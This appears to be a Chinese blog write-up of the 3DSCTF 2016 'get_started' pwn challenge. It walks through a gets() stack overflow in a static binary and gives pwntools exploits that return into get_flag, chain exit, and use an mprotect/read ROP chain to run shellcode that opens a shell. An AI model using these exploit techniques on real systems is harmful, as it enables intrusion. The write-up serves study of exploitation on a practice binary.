Eureka's Studio.

(Bss提权)GET_STARTED_3DSCTF_2016

2023/10/31

值得好好记录并学习的一道题 三种做法三种难度

[bss提权]GET_STARTED_3DSCTF_2016

审计

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]

printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}

在main函数中 得到的东西并不多 只能说存在gets的栈溢出可能 查看一下v4参数

1
2
3
4
5
-0000003C var_3C          dd ?
-00000038 var_38 db ?
-00000037 db ? ; undefined
-00000036 db ? ; undefined
-00000035 db ? ; undefined

没有太多有用的地方 倒是看到了有个get_flag函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al

if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}

有个if判断 其实可以不要判断直接利用栈溢出 溢出后让eip指向此处fopen的地址

暴力溢出

1
2
3
4
.text:080489B6                 jnz     short loc_8048A15
.text:080489B8 mov [esp+0Ch+var_8], (offset aFileTooShort+0Ch) ; "rt"
.text:080489C0 mov [esp+0Ch+var_C], offset aFlagTxt ; "flag.txt"
.text:080489C7 call fopen

小细节 执行函数时 最后一步才是call执行 前面还需要加载参数堆栈 指向0x080489B8即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> stack 50
00:0000│ esp 0xffffd660 —▸ 0xffffd664 ◂— 'dawoxiansigema'
01:0004│ eax 0xffffd664 ◂— 'dawoxiansigema'
02:0008│ 0xffffd668 ◂— 'xiansigema'
03:000c│ 0xffffd66c ◂— 'sigema'
04:0010│ 0xffffd670 ◂— 0x800616d /* 'ma' */
05:0014│ 0xffffd674 ◂— 'ineI'
06:0018│ 0xffffd678 ◂— 0x0
07:001c│ 0xffffd67c ◂— 0x2
08:0020│ 0xffffd680 —▸ 0x80eb070 (__exit_funcs) —▸ 0x80ec2a0 (initial) ◂— 0x0
09:0024│ 0xffffd684 —▸ 0xffffd754 —▸ 0xffffd87a ◂— '/ctf/work/get_started_3dsctf_2016'
0a:0028│ 0xffffd688 —▸ 0xffffd75c —▸ 0xffffd89c ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
0b:002c│ 0xffffd68c —▸ 0x804818c (_init) ◂— push ebx
0c:0030│ 0xffffd690 —▸ 0x80eb00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067c90 (__strcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
0d:0034│ 0xffffd694 ◂— 'ineI'
0e:0038│ 0xffffd698 ◂— 0x0
0f:003c│ 0xffffd69c —▸ 0x8048c6e (generic_start_main+542) ◂— add esp, 0x10
10:0040│ 0xffffd6a0 ◂— 0x1
11:0044│ 0xffffd6a4 —▸ 0xffffd754 —▸ 0xffffd87a ◂— '/ctf/work/get_started_3dsctf_2016'

试图计算eax与ebp差值时发现 无法定位ebp位置 gdb并没有给出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x8048a23 <main+3>                    mov    dword ptr [esp], 0x80b…
0x8048a2a <main+10> call printf …

0x8048a2f <main+15> lea eax, [esp + 4]
0x8048a33 <main+19> mov dword ptr [esp], eax
0x8048a36 <main+22> call gets …

► 0x8048a3b <main+27> xor eax, eax
0x8048a3d <main+29> add esp, 0x3c
0x8048a40 <main+32> ret

0x8048c6e <generic_start_main+542> add esp, 0x10
0x8048c71 <generic_start_main+545> sub esp, 0xc
0x8048c74 <generic_start_main+548> push eax

看了眼寄存器 EBP的值始终是0

1
2
3
*EBP  0x0
*ESP 0xffffd660 —▸ 0xffffd664 ◂— 'dawoxiansigema'
*EIP 0x8048a3b (main+27) ◂— xor eax, eax

可是查看gets函数时 push和mov一样没少

1
2
3
4
5
6
.text:0804F630 ; __unwind { // __gcc_personality_v0
.text:0804F630 push ebp ; Alternative name is '_IO_gets'
.text:0804F631 mov ebp, esp
.text:0804F633 push edi
.text:0804F634 push esi
.text:0804F635 push ebx

原因出在main上 横向对比一下ctfwiki上面的ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
.text:0804852D main            proc near               ; DATA XREF: _start+17↑o
.text:0804852D
.text:0804852D s = byte ptr -64h
.text:0804852D argc = dword ptr 8
.text:0804852D argv = dword ptr 0Ch
.text:0804852D envp = dword ptr 10h
.text:0804852D
.text:0804852D ; __unwind {
.text:0804852D push ebp
.text:0804852E mov ebp, esp
.text:08048530 and esp, 0FFFFFFF0h
.text:08048533 add esp, 0FFFFFF80h

ret2shellcode的main函数在一开始就对ebp进行了push操作导致我们在堆栈之后可以很容易找到main函数的返回地址 但是在这题就没有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:08048A20                 public main
.text:08048A20 main proc near ; DATA XREF: _start+17↑o
.text:08048A20
.text:08048A20 var_3C = dword ptr -3Ch
.text:08048A20 var_38 = byte ptr -38h
.text:08048A20 argc = dword ptr 4
.text:08048A20 argv = dword ptr 8
.text:08048A20 envp = dword ptr 0Ch
.text:08048A20
.text:08048A20 sub esp, 3Ch
.text:08048A23 mov [esp+3Ch+var_3C], offset aQualAPalavrinh ; "Qual a palavrinha magica? "
.text:08048A2A call printf
.text:08048A2F lea eax, [esp+3Ch+var_38]
.text:08048A33 mov [esp+3Ch+var_3C], eax
.text:08048A36 call gets

只对了esp进行增长操作 并没有push ebp 所以ebp在进入下一个函数之前都是0 这点加深了我对栈溢出的认识 原来不是所有的函数调用栈都会有这个过程(顺带反思了一下自己为什么会有在gets内进行栈溢出的想法)

1
char v4; // [esp+4h] [ebp-38h]

那也只能照着这个-38试一下 不然我也不会了 小细节 由于没有push ebp 所以填充38个之后就是返回地址 结果本地成功打通 当然为什么是本地是因为exit的原因 不过在暴力溢出的条件下是无法使用exit的 具体后面再说 当然这种直接暴力溢出的对于利用已有函数拿shell或者提权操作都是很香的

1
2
3
4
5
6
from pwn import *
sh = process('./get_started_3dsctf_2016')
context.log_level = 'debug'
target_addr = 0x080489B8
sh.sendline(0x38 * 'a'+p32(target_addr))
sh.recv()

满足IF条件的溢出

这里要补充一个点 以ctfwiki的ret2txt为例

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}

这个是他的main函数 我们如果查看main的栈结构的话是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
-00000006                 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 argc dd ?
+0000000C argv dd ? ; offset
+00000010 envp dd ? ; offset
+00000014
+00000014 ; end of stack variables

只截取了一点 上面的都是s的 r指的是ret地址 而后面的argc和argv指的是main()处的参数 也就是说传的参数位置在返回地址的高4个字节对于这块的栈结构可以简单描述为

1
esp+缓存区+ebp+返回地址+参数(当然ebp不是必有的)

当然肯定有人有疑问 我们查看栈结构的时候 输入gets的值一直都在返回地址上方嘛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> stack 50
00:0000│ esp 0xffffd650 —▸ 0xffffd66c ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
01:0004│ 0xffffd654 ◂— 0x0
02:0008│ 0xffffd658 ◂— 0x1
03:000c│ 0xffffd65c ◂— 0x0
... ↓ 2 skipped
06:0018│ 0xffffd668 —▸ 0xf7ffd000 ◂— 0x2bf24
07:001c│ eax 0xffffd66c ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
08:0020│ 0xffffd670 ◂— 'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
09:0024│ 0xffffd674 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
0a:0028│ 0xffffd678 ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
0b:002c│ 0xffffd67c ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaama'
0c:0030│ 0xffffd680 ◂— 'faaagaaahaaaiaaajaaakaaalaaama'
0d:0034│ 0xffffd684 ◂— 'gaaahaaaiaaajaaakaaalaaama'
0e:0038│ 0xffffd688 ◂— 'haaaiaaajaaakaaalaaama'
0f:003c│ 0xffffd68c ◂— 'iaaajaaakaaalaaama'
10:0040│ 0xffffd690 ◂— 'jaaakaaalaaama'
11:0044│ 0xffffd694 ◂— 'kaaalaaama'
12:0048│ 0xffffd698 ◂— 'laaama'
13:004c│ edx-2 0xffffd69c ◂— 0x800616d /* 'ma' */
14:0050│ 0xffffd6a0 —▸ 0xf7fbd3fc (__exit_funcs) —▸ 0xf7fbe180 (initial) ◂— 0x0
15:0054│ 0xffffd6a4 ◂— 0x40000
16:0058│ 0xffffd6a8 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
17:005c│ 0xffffd6ac —▸ 0x8048722 (__libc_csu_init+82) ◂— add edi, 1
18:0060│ 0xffffd6b0 ◂— 0x1
19:0064│ 0xffffd6b4 —▸ 0xffffd774 —▸ 0xffffd898 ◂— '/ctf/work/ret2text'
1a:0068│ 0xffffd6b8 —▸ 0xffffd77c —▸ 0xffffd8ab ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
1b:006c│ 0xffffd6bc —▸ 0xf7e06479 (__cxa_atexit+41) ◂— add esp, 0x1c
1c:0070│ 0xffffd6c0 —▸ 0xf7fe22f0 ◂— endbr32
1d:0074│ 0xffffd6c4 ◂— 0x0
1e:0078│ 0xffffd6c8 —▸ 0x80486db (__libc_csu_init+11) ◂— add ebx, 0x1925
1f:007c│ 0xffffd6cc ◂— 0x0
20:0080│ 0xffffd6d0 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
21:0084│ 0xffffd6d4 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
22:0088│ ebp 0xffffd6d8 ◂— 0x0
23:008c│ 0xffffd6dc —▸ 0xf7decee5 (__libc_start_main+245) ◂— add esp, 0x10
24:0090│ 0xffffd6e0 ◂— 0x1
25:0094│ 0xffffd6e4 —▸ 0xffffd774 —▸ 0xffffd898 ◂— '/ctf/work/ret2text'
26:0098│ 0xffffd6e8 —▸ 0xffffd77c

这是因为 上方的字符可以理解为一个存储区 因为函数一开头就给了个char s 就是用来存储gets传来的参数的 事实大于雄辩 是不是这样写exp跑一下就知道了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
sh = process('./get_started_3dsctf_2016')
context.log_level = 'debug'
target_addr = 0x080489A0
sh.sendline('a' * 0x38 + p32(target_addr) + 'aaaa' + p32(0x308CD64F) + p32(0x195719D1))
sh.recv()
# 'a'*0x38 = padding
# p32(target_addr) = get_flag函数地址
# 'aaaa' = get_flag函数的返回地址 不过我们本地拿flag不需要仔细构造 随便就行
# 后面俩p32是if里的俩参数
[+] Starting local process './get_started_3dsctf_2016': pid 7724
[DEBUG] Sent 0x49 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000030 61 61 61 61 61 61 61 61 a0 89 04 08 61 61 61 61 │aaaa│aaaa│····│aaaa│
00000040 4f d6 8c 30 d1 19 57 19 0a │O··0│··W·│·│
00000049
[DEBUG] Received 0x2b bytes:
'Qual a palavrinha magica? ffffllllaaaagggg\\\\n'
[*] Stopped process './get_started_3dsctf_2016' (pid 7724)

事实证明本地是可以打通的 只不过我们没有构造好get_flag的返回地址 导致程序是以一种错误的方式终止的 这样在靶机是不会有回显的 我们需要解决他 实际上也好解决 可以利用exit函数 而且他自带

1
2
3
4
5
6
7
8
9
10
.text:0804E6A0                 public exit
.text:0804E6A0 exit proc near ; CODE XREF: generic_start_main+225↑p
.text:0804E6A0
.text:0804E6A0 status = dword ptr 4
.text:0804E6A0
.text:0804E6A0 ; __unwind {
.text:0804E6A0 sub esp, 0Ch
.text:0804E6A3 push 1 ; int
.text:0804E6A5 push 1 ; int
.text:0804E6A7 push

只需要把aaaa改为p32(0x0804E6A0)即可

1
2
3
4
5
6
7
8
9
10
[+] Opening connection to node4.buuoj.cn on port 29712: Done
[DEBUG] Sent 0x49 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000030 61 61 61 61 61 61 61 61 a0 89 04 08 a0 e6 04 08 │aaaa│aaaa│····│····│
00000040 4f d6 8c 30 d1 19 57 19 0a │O··0│··W·│·│
00000049
[DEBUG] Received 0x45 bytes:
'Qual a palavrinha magica? flag{c16165e1-3204-49b5-bd78-714d3aa7c575}\\\\n'
[*] Closed connection to node4.buuoj.cn port 29712

Mprotect暴力getshell

首先是关于程序链接方式的问题

1
2
root@85eeceab223d:/ctf/work# ldd get_started_3dsctf_2016
not a dynamic executable

程序分为静态、动态链接两种情况 对于静态链接的程序 据说是蛮大可能有Mprotect这个函数

1
2
3
4
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。取1000即可
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用 不过一般做题赋值7就行了

也就是说我们需要知道利用段的起始位置 我们先用vmmap查看一下程序地址段的权限情况

1
2
3
4
5
6
0x8048000  0x80ea000 r-xp    a2000 0      /ctf/work/get_started_3dsctf_2016
0x80ea000 0x80ec000 rw-p 2000 a1000 /ctf/work/get_started_3dsctf_2016
0x80ec000 0x810f000 rw-p 23000 0 [heap]
0xf7ff8000 0xf7ffc000 r--p 4000 0 [vvar]
0xf7ffc000 0xf7ffe000 r-xp 2000 0 [vdso]
0xfffdd000 0xffffe000 rw-p 21000 0 [stack]

后四个段先不动为好 可能会破坏栈结构导致异常退出 可以利用0x80ea000这个段

1
2
3
4
5
mprotect_addr
ret_addr
buf_addr
buf_size
buf_prot

而我们调用只是修改了段落权限 想要getshell还需要往里写入数据 之前ctfwiki的ret2shellcode是因为gets直接把数据存入bss段 而此处我们需要人为指定数据段写入内容

1
2
3
4
ssize_t read (int fd, void *buf, size_t count);
# fd设为0即可
* buf为段开始地址
# count为段长

我们可以利用read函数 将我们写好的shell写入我们刚刚给rwx权限的段

1
2
3
4
5
read_addr
ret_addr
fd(赋0即可)
buf_addr
len

只不过 mprotect进行传参时 我们需要在结束之后继续调用read函数 此时的栈结构大概是这个样子 3个参数我写在了一起 不然太麻烦了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|                  |
+------------------+
| read_argv |
+------------------+
| read_retaddr |
+------------------+
| read |
+------------------+
| mprotect_argv |
+------------------+
| mprotetc_retaddr |
+------------------+
| mprotect |
+------------------+
| saved ebp |
+------------------+
| |
| |
| |
+------------------+
| |
esp-->+------------------+

当执行完mprotect函数之后 EIP指向mprotetc_retaddr 然后跳转到这个地址继续执行程序 而每次的地址都不太一样 导致我们无法将mprotetc_retaddr处地址设置为read函数的地址 此时用到Ropdaget

1
2
3
4
5
6
7
8
9
10
11
$ ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
0x0809e102 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b91e6 : pop eax ; ret
0x0804c56d : pop eax ; ret 0x80e
0x080d9ff8 : pop eax ; ret 0xfff7
0x080dfcd8 : pop eax ; ret 0xfff9
0x0805bf3d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e4c5 : pop ebp ; pop esi ; pop edi ; ret
0x080483ba : pop ebp ; ret
0x080a25b9 : pop ebp ; ret 0x10

选取0x0809e4c5设为mprotect_retaddr的值 因为当mprotect执行完毕时 会清空栈空间 此时栈顶就是mprotect_addr 而此处值为0x0809e4c5 则会执行3次pop 将mprotect的3个参数出栈至寄存器 之后执行ret 在执行时 栈顶正是我们输入的read的函数地址 而执行ret则是将栈顶出栈至EIP寄存器 栈顶指针顺势+4 EIP设置后就会按计划执行read函数指令了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level = 'debug'
#sh = remote('node4.buuoj.cn',29712)
sh = process('./get_started_3dsctf_2016')

mprotect_addr = 0x0806EC80
buf_addr = 0x80ea000
buf_size = 0x1000
buf_prot = 0x7

pop_3_ret = 0x0804f460
read_addr = 0x0806E140

payload = b'a' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop_3_ret)
payload += p32(buf_addr)
payload += p32(buf_size)
payload += p32(buf_prot)

payload += p32(read_addr)
payload += p32(buf_addr)
payload += p32(0)
payload += p32(buf_addr)
payload += p32(0x100)
sh.sendline(payload)

shellcode = asm(shellcraft.sh())
sh.sendline(shellcode)
sh.interactive()

当然read函数执行完之后返回地址需要是我们设置权限的段地址 我们需要跳转到那来getshell

CATALOG
  1. 1. [bss提权]GET_STARTED_3DSCTF_2016
    1. 1.1. 审计
    2. 1.2. 暴力溢出
    3. 1.3. 满足IF条件的溢出
    4. 1.4. Mprotect暴力getshell